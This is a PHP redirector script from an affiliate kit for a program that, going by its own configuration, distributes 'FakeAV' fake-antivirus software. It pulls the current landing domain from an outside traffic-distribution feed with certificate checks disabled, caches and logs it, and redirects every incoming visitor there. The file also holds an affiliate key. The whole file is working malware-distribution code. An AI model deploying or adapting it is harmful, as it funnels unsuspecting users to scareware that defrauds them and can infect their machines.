<?php
//-------------------------- configuration ---------------------------------//
/* Webmaster XML Key */
$xmlKey='1f027684149fad5d9ce2';

//Product ID (for example pid=3 is for FakeAV)
$productId = 3;

//---------------- Data update ------------------//
/* Domain update period (minutes)*/
$domainUpdatePeriod=10;

/* Update timeout (seconds) */
$updateTimeout=10;
//-----------Update links

/* Address of domain feed */
$domainFeed="https://nc-cash.net/index2.php?key=".$xmlKey."&cmd=getTdsUrl";

/* Feed parameters */
$parameters = "&uid=".$_GET['uid'];
if (isset($_GET['ls']) && is_numeric($_GET['ls'])) $parameters .= "&ls=".$_GET['ls'];
if (isset($productId) && is_numeric($productId)) $parameters .= "&pid=$productId";

/* Key for cache to store */
$cacheKey = md5($parameters);

//-------------------------- End of cfg ---------------------------------//

define('ROOT', dirname(__FILE__).'/');
define('DATA', ROOT.'promo.dat');
define('LOG', ROOT.'promolog.txt');

if(!isset($_GET['uid'])||empty($_GET['uid'])){
    die('<h1>The service is temporarily down. Please try again later.</h1>');
}

if(!file_exists(LOG)){
    @touch(LOG);
    if(!is_writable(LOG)){
        die(LOG.' file is not writable');
    }
}

$data=array(); //Cached data
if(file_exists(DATA)){
    if(!is_readable(DATA)||!is_writable(DATA))
        die(DATA.' file is not writable');

    $serial=file_get_contents(DATA, LOCK_SH);
    $data=unserialize($serial);
}else{
    @touch(DATA);
    if(!is_readable(DATA)||!is_writable(DATA))
        die(DATA.' file is not writable');
}

//First start check. If something is missing, it is retrieved then.
$firstRun=false;
$needUpdate=array();
$needDataKeys=array($cacheKey);
foreach($needDataKeys as $key){
    if(!isset($data[$key])||empty($data[$key])){
        $firstRun=true;
        $needUpdate[]=$key;
    }
}

if(!$firstRun){
    //Estimating the time
    $currentTime=time();
    if(empty($needUpdate)&&($currentTime-$data[$cacheKey][1])>($domainUpdatePeriod*60))
        $needUpdate[]=$cacheKey;
}

//////////////// Update ///////////////////


if(!empty($needUpdate)){
    $ssl = array(
        'verify_peer' => FALSE,
        'allow_self_signed' => TRUE
    );

    $opts = array(
      'http'=>array(
        'method'=>"GET",
        'timeout'=>$updateTimeout,
        'header'=>"Accept-language: en\r\n" .
                  "Cookie: foo=bar\r\n"
      ),
      'ssl' => $ssl
    );

    $context = stream_context_create($opts);

    $logMessage='';
    if($firstRun)$logMessage.="start update\n";

    $dataUpdated=false;

    $fileHandle=fopen(DATA, 'a');
    fseek($fileHandle, 0);
    $success=flock($fileHandle, LOCK_EX|LOCK_NB);

    if($success){
        if(in_array($cacheKey, $needUpdate)){
            $logMessage.='try update domain - ';
            $domain=file_get_contents($domainFeed.$parameters, false, $context);
            if(!empty($domain)&&!strstr($domain, 'ERROR_NO_DATA')){
                $data[$cacheKey]=array($domain, time());
                $logMessage.="success $domain\n";
                $dataUpdated=true;
            }else{
                $logMessage.="failed $domain\n";
            }
        }

        if($dataUpdated){
            $serial=serialize($data);
            fwrite($fileHandle, $serial);
        }
    }

    flock($fileHandle, LOCK_UN);
    fclose($fileHandle);

    if($dataUpdated){
        $serial=serialize($data);
        file_put_contents(DATA, $serial, LOCK_EX);
    }

    file_put_contents(LOG, @date("m/d/Y h:i:s").' '.$logMessage, FILE_APPEND|LOCK_EX);

}

$url=$data[$cacheKey][0];
$url=strip_tags($url); //filter XSS atacks

header("Location: $url");
die();

?>